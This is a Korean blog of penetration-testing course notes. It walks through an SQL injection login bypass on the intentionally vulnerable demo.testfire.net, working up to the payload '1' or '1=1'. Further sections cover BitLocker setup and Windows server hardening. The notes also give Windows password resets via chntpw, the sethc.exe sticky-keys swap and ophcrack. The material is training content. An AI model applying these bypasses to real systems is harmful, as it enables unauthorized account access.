20160829 SQL Injection & XML Injection  (0) 2016.08.29
20160825 웹보안  (0) 2016.08.25
20160825 BitLocker  (0) 2016.08.25
20160824 윈도우즈 서버 보안  (0) 2016.08.24
Posted by 22Hz
, |


IP

ID/PW

DB


        환경                            결과

        ---------------------------       ---------------------------

        Web     SQL     SQL서버         인증 우회

-->     [  ]    -->     [     ]         DB 정보 수집

<--     [  ]    <--     [     ]         DB 정보 변경/삭제

        웹서버        DB서버

                

        문제    

        ---------------------------

        입력 -> 필터링 없이

        악의적인 SQLInjection

DB S/W  DB

------  ---------------

Excel   Excel 묶음 파일

MySQL   DB


        +


        = DB



웹 해킹과 보안





■ 사용시스템

- Windows 7(3G)

- KaliLinux(1G)



■ Windows 시스템의 Memory 3G 변경



■ Windows 7 운영체제 전원 ON



soldesk 사용자로 로그인하여 네트워크 설정 작업을 한다.



■ Windows 7 네트워크 설정 변경

IP/Netmask : 192.168.10.202/255.255.255.0(NAT)

Gateway    : 192.168.10.2

DNS        : 168.126.63.1





다음 문서는 웹 모의해킹 및 시큐어코딩 진단가이드 책의 내용을 공부 하면서 만든 문서입니다. 책의 저작권은 원본 제작자에 있으며, 이 문서는 순수한 공부 용도로만 사용하시기 바랍니다. 반드시 원본 책을 사서 읽어 보시기를 권장합니다. 좋은 내용이 너무 많습니다. ^^* *^^




웹보안(Web Security)




제 1 장   SQL Injection




[실습1]  로그인 페이지에 대한 인증 우회


■ 실습 설명

논리적 에러를 이용한 SQL Injection을 설명하고 있으며, 공격에 대한 인증 체계를 우회하여 계정과 암호없이 로그인하는 것을 테스트 한다.


■ 실습 시스템

(대상시스템) http://demo.testfire.net(웹사이트)

(점검 툴)    windows 7(웹브라우저)


■ 준비작업

Windows 7 네트워크 설정 변경

        IP/Netmask : 192.168.10.202/255.255.255.0

        Gateway    : 192.168.10.2

        DNS        : 168.126.63.1

IE 홈페이지 설정

        IE > 도구 > 인터넷옵션 > 빈페이지


① 웹사이트에 접속하여 로그인 테스트

http://demo.testfire.net 

-> 오른쪽 상단의 "Sign In" 선택한다.


그럼 다음과 같은 로그인 페이지가 보여진다.

로그인창 부분에서 다음과 같이 Username과 Password 부분에 "'1" 입력한다.


Online Banking Login

 

  Username: '1

  Password: '1

 

       Login


출력 화면은 다음과 같다.

-> (주의) 위의 에러메세지는 반드시 메모장에 복사하여 붙여서 분석하여야 정상적으로 분석이 된다.

          메모장에서 보면 웹상에서 보여지는 내용이 다르게 보여진다.


(출력 내용 분석)

An Error Has Occurred

Summary:

 

  syntax error(missing operator) in query expression 'username = ''1' AND password = ''1''.

 

Error Message:

..... 중략 .....


쿼리 구조의 필드이름은 Username, password 이고,

2개의 필드는 AND 구조로 연결되어 있으며,

입력한 문자열은 쿼테이션 내에 포함된 것을 확인 할 수 있다.

입력했던 '(작은 따옴표)는 "(큰 따옴표)로 변경된것을 확인할 수 있다.



② 추가적인 에러를 확인하기 위해서 Username과 Password 부분에 "'1 or"을 입력한다.


(실행 화면)


Online Banking Login

 

  Username: '1 or

  Password: '1 or

 

       Login


(출력 결과)


-> (주의) 위의 에러메세지는 반드시 메모장에 복사하여 붙여서 분석하여야 정상적으로 분석이 된다.

          메모장에서 보면 웹상에서 보여지는 내용이 다르게 보여진다.


(출력 내용 분석)

An Error Has Occurred

Summary:

 

  syntax error(missing operator) in query expression 'username = ''1 or' AND password = ''1 or''.

 

Error Message:

..... 중략 .....


입력한 '1 or 값에 쿼데이션(')이 양쪽으로 감싸는 구조라는 것을 알 수 있다.





③ 다른 에러 메세지를 보기 위해 Username과 Password에 1 or '1을 입력 한다.


(실행 화면)


Online Banking Login

 

  Username: 1 or '1

  Password: 1 or '1

 

       Login


(출력 결과)


-> (주의) 위의 에러메세지는 반드시 메모장에 복사하여 붙여서 분석하여야 정상적으로 분석이 된다.

          메모장에서 보면 웹상에서 보여지는 내용이 다르게 보여진다.


(출력 결과 해석)

An Error Has Occurred

Summary:

 

Syntax error (missing operator) in query expression username = '1 or '1' AND password = '1 or '1''.

Error Message:


입력한 값 중 쿼테이션이 누락된 위치(첫 번째 숫자 1 뒤에 쿼테이션이 누락됨)을 알 수 있다.






④ 위의 ①②③ 테스트를 통해 완벽한 쿼리 구조을 유추하여 공격한다.


지금까지의 테스트를 통해 얻은 지식을 정리해 보자.

입력값(Username/Passowrd)

출력 내용

'1

'1

'username = ''1' AND password = ''1''

계정과 암호 필드의 이름 확인

'1 or

'1 or

'username = ''1 or' AND password = ''1 or''

입력한 '1 때문에 "1(특수문자 '(double quote)가 2개 보임)이 된다는 것을 알수 있다. 즉 1 앞의 특수문자 '는 삽입하면 안되는 것을 알수 있다.

1 or '1

1 or '1

'username = '1 or '1' AND password = '1 or '1''

앞에서 입력한 1(1 or '1)만으로는 '1(username = '1 or '1')만 보여지므로, 1 뒤에 특수문자 '가 필요하다라는 것을 알수 있다.

                                |||

                                |||

                                VVV

(공격용 Username/Password)

1' or '1=1

1' or '1=1

'username = '1' or '1=1' AND password = '1' or '1=1"

위의 단계를 통해 얻은 정보를 바탕으로 1 뒤에 특수문자 '만 붙여진다면 '1'(username = '1') 구조가 되어, 쿼리 구조가 완선된다.



(공격 실행 화면)

Online Banking Login

 

  Username: 1' or '1=1

  Password: 1' or '1=1

 

       Login


(공격 출력 결과)

-> 정상적으로 로그인 된것을 확인할 수 있다.


(출력 결과 분석)


다음과 같은 구문을 통해 공격할 수 있었다.
username = '1' or '1=1' AND password = '1' or '1=1''







1.hwp


'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160829 SQL Injection & XML Injection  (0) 2016.08.29
20160826 웹보안  (0) 2016.08.27
20160825 BitLocker  (0) 2016.08.25
20160824 윈도우즈 서버 보안  (0) 2016.08.24
20160824 Snort on CentOS6.X (수정)  (0) 2016.08.24
Posted by 22Hz
, |

■ BitLocker 설정 과정


① "BitLocker 암호 설정 기능" 설정

관리도구 > 서버 관리자 > 기능 > 기능 추가

                [ V ] BitLocker 드라이브 암호화 > 다음 > 설치 > 닫기 > 예






자동으로 재부팅 과정을 진행한다.


로그인 창이 뜨면 administrator 사용자로 로그인






② gpedit.msc 실행(TPM 대신 USB 사용할 수 있도록 설정하기)


시작 > 실행 > gpedit.msc >



로컬 그룹 정책 편집기 > 컴퓨터 구성 > 관리 템플릿 > windows 구성 요소

        > BitLocker 드라이브 암호화 > 운영체제 드라이브 > 시작 시 추가 인증 요구 >

                                        [ V ] 사용(E) > 적용 > 확인





====================================== 시작 ======================================

③ USB을 서버에 꼽기


VMware > VM > Removable Devices > USB Flash Drive > Connect


④ BitLocker 드라이브 암호화 설정


제어판 > BitLocker 드라이브 암호화 > "Encrypted(C:)" 부분에서 BitLocker 켜기 > 예 > 적당한 설정


재부팅 과정을 진행한다.


⑤ 재부팅 완료된 이후에 administrator 사용자로 로그인


잠시 이후에 다음과 같은 메세지가 나온다.


BitLocker를 사용하도록 설정 할 수 없습니다.

 

BitLocker 시작 키나 복구 암호를 USB 장치에서 찾을

수 없습니다. 올바른 USB 장치를 사용하는지, USB 장

치가 컴퓨터의 활성 USB 포트에 연결되어 있는지 확인

한 다음 컴퓨터를 다시 시작하고 다시 시도하십시요. 문

제가 계속되면 BIOS 업그레이드 지침에 대해 컴퓨터 제

조업체에 문의하십시오.

 

C:이(가) 암호화되지 않았습니다.

 

                                [ 닫기(C) ]

-> VMware의 특성상 충돌이 발생

====================================== 종료 ======================================


⑥ VMware 충돌 문제를 해결


(주의) ③④⑤ 작업은 수행하지 않은 상태에서 ⑥번 부터 작업을 진행한다.


BitLocker 시스템 Power OFF


VMware > VM > Settings > Add > Floppy Drive > Create a blank floppy image

                                > 파일이름(EX: bitlocker.flp) > OK


BitLocker 시스템 Power ON


administrator 사용자로 로그인


windows 탐색기에서 플로피 디스크 드라이브(A:)를 포맷한다.


⑦ VMware 충돌 문제를 해결(연속)


명령어 창에서 다음과 같이 입력한다.(볼륨의 암호화를 진행하는 명령어)

C:\Users\Administrator>cd \Windows\system32

C:\Windows\System32>cscript manage-bde.wsf -on C: -rp -sk A:

                                (cscript manage-bde.exe -on C: -rp -sk A:)

Microsoft (R) Windows Script Host 버전 5.8

Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

 

BitLocker 드라이브 암호화: 구성 도구 버전 6.1.7601

Copyright (C) Microsoft Corporation. 모든 권리 보유.

 

경고: 스크립트 manage-bde.wsf는 지원되지 않습니다. manage-bde.exe를 사용하십시오.

 

C: 볼륨 [Encrypted]

[OS 볼륨]

추가된 키 보호기:

 

    A: 디렉터리에 저장되었습니다.

 

    외부 키:

      ID: {685792F1-FAE1-412A-9D80-7769A711836B}

      외부 키 파일 이름:

        685792F1-FAE1-412A-9D80-7769A711836B.BEK

 

    숫자 암호:

      ID: {17F1422D-9FDD-4C48-A156-E10A5852B57E}

      암호:

        204963-086515-142109-513381-153582-005555-713922-707322

 

해결 방법:

 

    1. 이 숫자 복구 암호를 컴퓨터가 아닌 안전한 장소에

    보관하십시오.

 

    204963-086515-142109-513381-153582-005555-713922-707322    <--- 이 부분 복사

 

    데이터가 손실되지 않도록 이 암호를 즉시 저장하십시오. 이 암호를 사용하면

    암호화된 볼륨의 잠금을 해제할 수 있습니다.

 

    2. 외부 키 파일이 있는 USB 플래시 드라이브를 컴퓨터에 넣으십시오.

 

    3. 하드웨어 테스트를 실행하려면 컴퓨터를 다시 시작하십시오.

    명령줄 명령을 보려면 "shutdown /?"를 입력하십시오.

 

    4. "manage-bde -status"를 입력하여 하드웨어 테스트가 성공했는지 확인하십시오

.

 

참고: 하드웨어 테스트에 성공한 후에 암호화가 시작됩니다.

-> 위의 빨간색으로 표시난 부분을 복사 합니다.

-> (주의) 이 부분을 반드시 복사해야 합니다.


USB 드라이브에 위의 내용(복사된 내용)을 가지고 있는 파일을 생성(EX: E:\BitLocker암호.txt)


⑧ VMware 충돌 문제를 해결(연속)


명령어 창에서 다음과 같이 입력한다.


C:\Windows\System32>cscript manage-bde.wsf -status  (cscript manage-bde.exe -status)

C:\Windows\System32>cscript manage-bde.wsf -status

Microsoft (R) Windows Script Host 버전 5.8

Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

 

BitLocker 드라이브 암호화: 구성 도구 버전 6.1.7601

Copyright (C) Microsoft Corporation. 모든 권리 보유.

 

경고: 스크립트 manage-bde.wsf는 지원되지 않습니다. manage-bde.exe를 사용하십시오.

 

BitLocker 드라이브 암호화로 보호할 수 있는

디스크 볼륨:

E: 볼륨 [USB DRIVE]

[데이터 볼륨]

 

    크기:                 15.10GB

    BitLocker 버전:       None

    변환 상태:           완전 암호 해독됨

    암호화된 비율:       0%

    암호화 방법:          없음

    보호 상태:           보호 해제

    잠금 상태:            잠금 해제됨

    ID 필드:             없음

    자동 잠금 해제:       사용 안 함

    키 보호기:            없음

 

C: 볼륨 [Encrypted]

[OS 볼륨]

 

    크기:                  38.04GB

    BitLocker 버전:       Windows 7

    변환 상태:           완전 암호 해독됨

    암호화된 비율:       0%

    암호화 방법:          없음

    보호 상태:           보호 해제

    잠금 상태:            잠금 해제됨

    ID 필드:             없음

    키 보호기:

        외부 키

        숫자 암호

 

해결 방법:

 

    1. 이 숫자 복구 암호를 컴퓨터가 아닌 안전한 장소에 보관하십시오.

 

    204963-086515-142109-513381-153582-005555-713922-707322

 

    데이터가 손실되지 않도록 이 암호를 즉시 저장하십시오. 이 암호를 사용하면

    암호화된 볼륨의 잠금을 해제할 수 있습니다.

 

    2. 외부 키 파일이 있는 USB 플래시 드라이브를 컴퓨터에 넣으십시오.

 

    3. 하드웨어 테스트를 실행하려면 컴퓨터를 다시 시작하십시오.

    명령줄 명령을 보려면 "shutdown /?"를 입력하십시오.

 

    4. "manage-bde -status"를 입력하여 하드웨어 테스트가 성공했는지 확인하십시오

.

 

참고: 하드웨어 테스트에 성공한 후에 암호화가 시작됩니다.



BitLocker 시스템 Power OFF


VMware > Power > Power On to BIOS

(주의) Hard Disk 를 부팅 순서에서 가장 위쪽으로 올림(Floppy 보다 높인다.)


BitLocker 시스템 부팅 과정 진행 후 administrator 사용자로 로그인

(참고) 풍선 도움말 부분을 선택하면 BitLocker 드라이브 암호화에 대한 진행률을 볼수 있다.

       -> 풍선 도움말을 선택하여 진행률을 확인한다.



암호화가 완료되면 닫기를 선택한다.(오랜 시간이 걸린다.)





⑨ BitLocker 암호화 동작 유/무 테스트


BitLocker 시스템 reboot

-> 정상적으로 로그인 된다.(Floppy 암호화가 된 키가 존재한다.(실제는 USB안에 있다.))


administrator 사용자로 로그인


BitLocker 시스템 Power OFF


VMware > VM > Settings > Floppy 선택 > [  ] Connect at power on


부팅과정 중 다음과 같은 화면이 나온다.

-> <ENTER>


이전에 USB 안에 저장한 복구키를 입력하면 된다.

        (EX: 204963-086515-142109-513381-153582-005555-713922-707322)

-> 자동으로 정상 부팅될것이다.


administrator 사용자로 로그인한다.





⑩ BitLocker 기능 OFF


제어판 > BitLocker 드라이브 암호화 > Encrypted (C:) 에서 BitLocker 끄기 선택


암호 해독 과정이 자동으로 진행된다.(필요하면 풍선 도움말을 선택한다.)

-> 많은 시간이 걸린다.


BitLocker 시스템을 reboot 하여 암호 없이도 부팅이 가능하지 확인한다.


administrator 사용자로 로그인하여 BitLocker 시스템을 Power OFF 한다.











윈도우즈 서버 보안에 대해서 반드시 공부 해야 할 내용들

감사 정책(Audit Policy)

도메인 계정 및 로컬 계정(Domain Account & Local Account)과 관련된 보안 - LDAP

Windows Server 2008 방화벽(Windows Server 2008 Firewall)과 관련된 보안 설정

새로운 보안 그룹의 사용(Cryptographic Operators 그룹등)

RODC(읽기 전용 도메인 컨트롤러, Read Only Domain Controller)의 보안 설정

Server Core 설치를 통한 보안 강화

NAP(Network Access Protection) 및 NAQ(Network Access Quarantine control)






































'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160826 웹보안  (0) 2016.08.27
20160825 웹보안  (0) 2016.08.25
20160824 윈도우즈 서버 보안  (0) 2016.08.24
20160824 Snort on CentOS6.X (수정)  (0) 2016.08.24
20160823 Snort on CentOS6.X  (0) 2016.08.23
Posted by 22Hz
, |




윈도우즈 서버 보안







시스템 보안에 대한 6가지 보안 주제

계정과 패스워드 관리

세션 관리

접근 제어

권한 관리

로그 관리

취약점 관리



■ 계정과 패스워드 관리

적절한 권한을 가진 사용자를 식별하기 위한 가장 기본적인 인증 수단

시스템의 모든 자원은 사용자 계정으로 접근이 가능하다.


■ 세션 관리

사용자와 시스템, 시스템과 시스템 간의 접속에 대한 관리
사용자 ---(로그인)---> 시스템

일정 시간이 지나면 자동으로 세션을 종료하고 비안가자에 의한 세션 가로채기를 차단


■ 접근 제어(Access Control)

시스템 또는 서비스가 공격자로 부터 적절히 보호될수 있도록 네트워크 관점에서 접근 통제


■ 권한 관리

시스템의 각 사용자가 적절한 권한으로 적절한 정보 자산을 접근할 수 있도록 통제


■ 로그 관리

시스템 또는 네트워크를 통한 외부에서 시스템에 영향을 미칠 경우 해당 사항을 기록


■ 취약점 관리

시스템 자체의 결함을 체계적으로 관리하는 것이 중요



1.  계정과 패스워드 관리


사용자 계정과 패스워드 ---> 가장 기본적인 인증 수단


패스워드 보안의 4가지 인증 방법

알고 있는 것(Something You Know)
-> 알고 있는 정보를 이용하여 인증하는 방법(EX: 패스워드)

가지고 있는 것(Something You Have)
-> 신분증이나 OTP(One Time Password) 장치를 통한 인증 방법(EX: 출입카드)

스스로의 모습(Something You Are)
-> 생체 정보를 통해 인증하는 방법(EX: 지문인식, 홍채인식)

위치하는 곳(Something You Are)
-> 현재 접속을 시도하는 위치의 적절성 판단(EX: 콜백)


계정 관리

운영체제 계정 관리

데이터베이스 계정 관리

응용프로그램 계정 관리

네트워크/보안 장비의 계정 관리


패스워드 관리

약한 패스워드 사용 금지
- 길이가 너무 짧거나 널(NULL) 패스워드 점검
- 사전에 나오는 단어나 이들의 조합
- 키보드 자판의 일련 나열
- 사용자 계정 정보로 유추 가능한 단어들

좋은 패스워드
- 기억하기 쉽고, 크래킹하기 어려운 패스워드

패스워드 관리 정책 설정
- 패스워드 설정 정책
  (EX: 패스워드 최소 길이와 복잡도 설정)
- 패스워드 변경 정책
  (EX: 60일 또는 90일에 한번씩 패스워드 변경)
- 잘못된 패스워드 입력시 계정 잠금
  (EX: 반복적인 잘못된 패스워드 입력에 대한 계정 잠금 기능 설정)



공격방법

- 무작위 대입 공격

- 사전 파일 공격

- 기본 사용자/암호 공격




2.  세션 관리


사용자와 컴퓨터 또는 두 컴퓨터 간의 활성화된 접속

세션에 대한 지속적인 인증(Continuous Authentication)

지속적인 점검 세션 점검


공격 방법

- 세션 하이재킹(Session Hijacking)

- 네트워크 패킷 스니핑(Packet Sniffing)



3.  접근 제어


적절한 권한을 가진 사용자만 특정 시스템이나 정보에 접근할 수 있도록 접근 통제

시스템 이나 네트워크에 대한 접근 제어에 기본은 IP와 서비스 포트 제어
-> 호스트 접근 제어, 사용자 접근 제어


호스트/네트워크 접근제어

운영체제 접근 제어(EX: OS Firewall, tcp_wrappers)

데이터베이스 접근 제어(EX: Oracle(sqlnet.ora))

응용 프로그램 접근 제어(EX: Firewall, 각 서비스 설정 파일)

네트워크 장비 접근 제어(EX: ACL)


사용자 접근 제어

각 서비스에 해당하는 설정파일에 존재



공격방법

- 다양한 공격방법이 존재




4.  로그 관리


운영체제 로그 관리

데이터베이스 로그 관리

응용 프로그램 로그 관리

네트워크 장비 로그 관리

  (EX: 통합 로그 관리 시스템(SIEM(Security Information and Event Management)))



5. 취약점 관리


패치 관리

응용 프로그램별 위험 관리

응용 프로그램을 통한 정보 수집 제한







윈도우 서버 점검 가이드 예제




일반적으로 점검 목록(Check List)를 가지고 점검

-> 스크립트를 통해 점검하는 경우가 많다.

-> 취약점 점검 툴을 통해 점검하는 경우가 많다.




서버 점검(예제)

==========================

점검 분류 항목: 계정 관리

위험도: 상

세부 점검 항목: administrator 사용자 접근 제어

대상: 윈도우즈 2008


(1) 위험분석

(2) 위험영향

(3) 점검방법

(4) 조치방법

==========================



■ 시스템 설치

- 파티션 정책

        C:\(OS), D:\(Software), E:\(Data)

- 소프트웨어 선택(최소설치)


- 패치 설치(반드시 설치)


- 불필요한 서비스 제거


- 보안 프로그램 설치








■ 윈도우 7 암호 복구 방법



준비사항

- CD 또는 USB 준비


부팅용 이미지를 CD로 제작하여 윈도우 7의 암호를 복구해도 되고, USB로 제작하여 윈도우 7 암호를 복구해도 된다. 다음 내용은 USB 이미지 생성하는 방법과 CD로 제작하는 방법 2가지 모두를 설명한다.


복구용 이미지 다운로드

http://pogostick.net/~pnh/ntpasswd 

More or less tested from NT3.5 up to Windows 8.1, including the server versions like 2003, 2008 and 2012. Also 64 bit windows supported


(1) USB 이미지 생성하는 방법(실습에서는 ISO 이미지 파일을 통해 작업한다.)


① 이미지 준비


usb110511.zip 파일 > 압축을 해제 한다. > 압축해제된 파일들을 USB에 넣는다.


② cmd.exe 실행


<CTRL + ESC> => cmd <ENTER>   (주의) cmd.exe관리자 권한으로 실행되어야 한다.


C:\> g:

-> g: 드라이브는 새로 꽂은 USB 드라이브 명칭이다.

G:\> dir

 G 드라이브의 볼륨: Transcend

 볼륨 일련 번호: 13DD-C78E

 

 G:\ 디렉터리

 

2011-05-08  오후 08:51         1,109,616 vmlinuz

2011-05-11  오후 08:16             1,518 boot.msg

2011-05-11  오후 08:16           901,990 initrd.cgz

2011-05-11  오후 08:16            24,576 isolinux.bin

2008-08-01  오후 08:57               167 isolinux.cfg

2011-05-11  오후 08:10             2,551 readme.txt

2011-05-11  오후 08:16         2,219,278 scsi.cgz

2008-08-01  오후 09:13               167 syslinux.cfg

2011-05-11  오후 06:39            71,168 syslinux.exe

               9개 파일           4,331,031 바이트

               0개 디렉터리   7,805,370,368 바이트 남음


G:\>syslinux.exe /?

Usage: syslinux.exe [options] <drive>: [bootsecfile]

  --directory  -d  Directory for installation target

  --install    -i  Install over the current bootsector

  --update     -U  Update a previous installation

  --zip        -z  Force zipdrive geometry (-H 64 -S 32)

  --sectors=#  -S  Force the number of sectors per track

  --heads=#    -H  Force number of heads

  --stupid     -s  Slow, safe and stupid mode

  --raid       -r  Fall back to the next device on boot failure

  --once=...   -o  Execute a command once upon boot

  --clear-once -O  Clear the boot-once command

  --reset-adv      Reset auxilliary data

  --menu-save= -M  Set the label to select as default on the next boot

  --mbr        -m  Install an MBR

  --active     -a  Mark partition as active

  --force      -f  Ignore precautions


G:\> syslinux.exe -ma g:

G:\>

        (주의) 파일매니저 > G: 드라이브 > 상단 "도구" > 폴더 옵션 > 고급 설정 >

                                                        [  ] 보호된 운영체제 파일 숨기기

G:\> dir /A

 G 드라이브의 볼륨: Transcend

 볼륨 일련 번호: 13DD-C78E

 

 G:\ 디렉터리

 

2011-05-08  오후 08:51         1,109,616 vmlinuz

2011-05-11  오후 08:16             1,518 boot.msg

2011-05-11  오후 08:16           901,990 initrd.cgz

2011-05-11  오후 08:16            24,576 isolinux.bin

2008-08-01  오후 08:57               167 isolinux.cfg

2011-05-11  오후 08:10             2,551 readme.txt

2011-05-11  오후 08:16         2,219,278 scsi.cgz

2008-08-01  오후 09:13               167 syslinux.cfg

2011-05-11  오후 06:39            71,168 syslinux.exe

2014-09-25  오후 12:32            32,256 ldlinux.sys

              10개 파일           4,363,287 바이트

               0개 디렉터리   7,805,337,600 바이트 남음

-> ldlinux.sys 파일이 생성되었다.


USB로 위도우즈 7를 부팅한다.

이때 BIOS에서 USB 부팅을 지원해야 하며 부팅 순서를 바꿔야 한다.


(주의) 실제 실습에서는 VMware Workstation 10.X 버전이 USB 부팅을 지원하지 않아서 ISO 이미지로 실습한다.


부팅후의 작업은 (3) 부팅후의 작업 부분에서 다룬다.




(2) CD/DVD ISO 이미지 파일 생성하기


① 이미지 파일을 푼다.


cd110511.zip 파일 > 압축을 해제 한다.


cd110511.iso 파일을 아래 사이트를 참고하여 CD에 레코딩(CD 굽기)한다.


ImgBurn 이용하여 이미지 파일 레코딩하기

http://www.cdrinfo.co.kr/entry/ImgBurn-%EC%9D%B4%EC%9A%A9%ED%95%98%EC%97%AC-%EC%9D%B4%EB%AF%B8%EC%A7%80-%ED%8C%8C%EC%9D%BC-%EB%A0%88%EC%BD%94%EB%94%A9%ED%95%98%EA%B8%B0



CD로 윈도우즈 7를 부팅한다.

이때 BIOS에서 CD 부팅을 지원해야 하며 부팅 순서를 바꿔야 한다.


(주의) 실제 실습에서는 VMware Workstation 10.X 버전이 USB 부팅을 지원하지 않아서 ISO 이미지로 실습한다.


부팅후의 작업은 (3) 부팅후의 작업 부분에서 다룬다.



(3)  패스워드 크랙하기


사용시스템

- windows 7

- windows 2008



(windows7)

윈도우즈 7 Power OFF 된 상태에서


VMware > VM > Settings > CD/DVD > cd110511.iso 파일 지정

VMware > VM > Power > Power On to BIOS > Boot 탭

                                부팅순서(CD로 부팅)를 변경한다.

윈도우즈 7를 부팅한다.


■ boot: 화면

-> <ENTER>




■ 파티션 번호 선택 화면

-> 2번 선택(windows 7 운영체제가 설치된 디스크 선택)

운영체제가 설치된 디스크를 선택한다. 위의 정보에서는 /dev/sda2 부분이 윈도우즈 운영체제가 설치된 디스크이다.



■ 레지스트리 디렉토리 선택

-> <ENTER>

레지스터 디렉토리를 입력하면 된다. windows/system32/config 입력하거나 혹은 <ENTER> 선택을 하면 자동으로 기본값이 선택된다.

반드시 상대 경로로 입력해야 한다.

■ SAM 파일 초기화 화면

-> <1> 번 선택

미리 정의된 동작을 진행하기 위해서 적당한 번호를 선택한다.

실습의 경우에는 SAM 파일의 패스워드를 reset 하는 동작을 선택하기 위해서 1번을 입력하거나 <ENTER> 입력하면 기본값이 동작된다.



■ "chntpw Maintenence Menu" 화면

-> <1>번 선택

<1>번을 선택하면 레지스트리 정보를 읽어오고 원하는 작업을 선택할수 있는 화면이 나타난다.

패스워드 reset를 위해서 <1>번을 선택하거나 혹은 <ENTER> 입력한다.




■ chnpw Edit User Infor & Passwords 화면

-> soldesk

-> <ENTER>

모든 사용자 목록이 보이고 작업을 원하는 사용자를 선택한다.

실습에서는 soldesk 사용자를 선택하였다.

만약 사용자가 한글 계정으로 되어 있다면 RID 값을 가지고 입력하여야 한다. 입력하는 형식은 다음과 같다. (예: 0x03e9)

RID 값을 사용하는 경우에는 Hex 값으로 입력해야 하기 때문에 RID 값 앞에 0x 붙여 준다.



■ User Edit Menu 화면

-> <1>번 선택

*암호를 초기화 하기 위해서는 <1>번을 선택하고 이전에 Lock 걸린 사용자의 Lock를 해제 하기 위해서는 <4>번을 선택한다.



■ 다른 작업을 위한 화면

-> <!> 입력

작업이 끝났으므로 전단계의 메뉴로 돌아가기 위해서 <!> 입력한다.



■ chntpw Main Interactive Menu 화면

-> <1>번 선택

확인을 위해 <1> 선택한다.







■ chntpw Edit User Info & Passwords 화면

-> <!> 입력

soldesk 사용자의 정보를 확인한다.



■ chnpw Main Interactive Menu 화면

-> <q> 입력

종료하기 위해서 <q> 입력한다.





■ 다음 화면들

-> <y>

-> <n>

-> <CTRL + ALT + DEL>      (주의) VMware > VM > "Send CTRL+ALT+DEL"

===================================================

Step FOUR: Writeing back changes

===================================================

About to write file(s) back! Do it? [n] : y

Writing SAM

***** EDIT COMPLEIT *****

You can try agin if it somehow failed, or you selected wrong

New run? [n] : n

===================================================

* end of scripts.. returning to the shell..

* Press CTRL-ALT-DEL to reboot now (remove floppy first)

* or do whatever you want from the shell..

* However, if you mount something, remember to umount before reboot

* You may also restart the script procedure with 'sh /scripts/main.sh'

 

<CTRL + ALT + DEL>

만약 필요하면 다음과 같은 명령어를 통해 좀더 많은 정보를 확인할 수 있다.
# ls -l
# cd scripts
# ls -l
# cat main.sh


강제적으로 윈도우즈 서버를 끄고


VMware > VM > Power > Power ON to BIOS


부팅 순서를 다시 원래대로 설정하고 부팅과정을 진행한다.


정상적으로 암호 없이 로그인이 될것이다.


따라서 soldesk 사용자에게 새로운 암호를 준다.


        (암호 설정 방법)

        제어판 > 사용자 계정 > 사용자 계정에 대한 암호를 만듭니다.


암호설정이 되었다면 window 7 끈다.(Power OFF)


        (서버 Power OFF)

        C:> shutdown /s /t 0






[참고] 윈도우즈 7 암호 복구 방법 참고 URL

- http://www.cdrinfo.co.kr/86

- http://kinlife.tistory.com/360




■ 윈도우 2008 암호 복구 방법


windows 2008 서버의 administrator 암호를 분실했거나, 만료가 되었을 때 복구 방법

http://blog.naver.com/clessia/150169938415


windows 2008 암호 크랙하는 방법

http://blog.naver.com/PostView.nhn?blogId=duru1024&logNo=70041413900&redirect=Dlog&widgetTypeCall=true


 

windows 7 암호 크랙하는 툴을 통해 암호를 크랙하여도 되고 아래와 같이 제공되는 기능을 통해 작업도 가능하다.(실습에서는 window7 크랙하는 툴을 통해 작업합니다.)



[실습] windows 2008 서버 암호 크랙 과정

-> 실습은 windows7 암호 크랙하는 과정과 동일하게 진행한다.




또 다른 방법을 소개합니다.


Windows 2008 Server의 administrator의 기본 암호 정책에서는 암호 사용 기간 제한 없음에 해제가 되어 있어, administrator의 암호가 만료가 됩니다.

관리자의 많은 작업 오류 중에 하나가 Windows 2008 서버의 administrator 계정에 대한 암호 사용 기간 제한 없음에 체크하지 않습니다. 그래서 암호가 만료가 되곤합니다.

해결 방법은 반드시 콘솔에서만 가능합니다.


콘솔에서 아래와 같은 방법으로 해결 하시길 바랍니다.


Reset Windows server 2008r2 Password with Installation CD

① Insert the installation disk to your locked computer, restart.

   When following interface appears. Cllick "Repair your computer".


② A dialog with several options pops up, click Command Prompt.


③ When a Command Prompt black screen appears, type "copy c:\windows\system32\sethc.exe" and

   press Enter.

   Then type "copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe" afterwards press

   Enter key.


④ Restart your computer.

   On the login screen, tap Shift key five times and you'll see a command prompt screen in

   administrator mode.

   OK, type "net user UserName NewPassword" (replace the UserName and UserPassword with which

   you wanna) and press Enter key.

   The user password will be replaced with new one. Close the window and then you can login

   that user with new password.

 

만약, administrator의 계정 사용 안함으로 되어 있다면, net user administrator password /active

로 하시면 계정 활성화 됩니다.



또 다른 방법도 있습니다. 다음 사이트를 참고한다.

http://snoopybox.co.kr/1515

[참고] ophcrack

http://ophcrack.sourceforge.net/

 

(1) What is ophcrack?

 

Ophcrack is a free Windows password cracker based on rainbow tables. It is a very efficient implementation of rainbow tables done by the inventors of the method. It comes with a Graphical User Interface and runs on multiple platforms.

 

(2) Features:

 

» Runs on Windows, Linux/Unix, Mac OS X, ...

» Cracks LM and NTLM hashes.

» Free tables available for Windows XP and Vista/7.

» Brute-force module for simple passwords.

» Audit mode and CSV export.

» Real-time graphs to analyze the passwords.

» LiveCD available to simplify the cracking.

» Dumps and loads hashes from encrypted SAM recovered from a Windows partition.

» Free and open source software (GPL).

 

(3) Download

 

Download ophcrack - All Platform

http://ophcrack.sourceforge.net/download.php?type=ophcrack

 

Download ophcrack LiveCD - no installation

http://ophcrack.sourceforge.net/download.php?type=livecd



administrator 사용자의 암호를 플로피 디스크나 USB 메모리에 복구용으로 백업하기


사용시스템

- window 2008



(가정) windows 2008 서버는 꺼져 있는 경우라고 가정한다.


① 가상 플로피 디스크 파일 생성


VMware > VM > Settings > Add > Floppy Drive > Create a blank floppy image > "passwd.flp"


② windows 2008 서버를 부팅하고 administrator 사용자로 로그인


③ administrator 사용자의 암호 변경이 가능하도록 설정

관리도구 > 컴퓨터 관리 > 시스템 도구 > 로컬 사용자 및 그룹 > 사용자

        administrator 사용자 더블클릭 > 속성 > 일반 탭 > "암호 변경할 수 없음" 해제



④ 플로피 디스크 포맷


<Windows + E> => 플로피 디스크 드라이브(A:) > 속성 > 포맷





⑤ 암호 재 설정 디스크 만들기

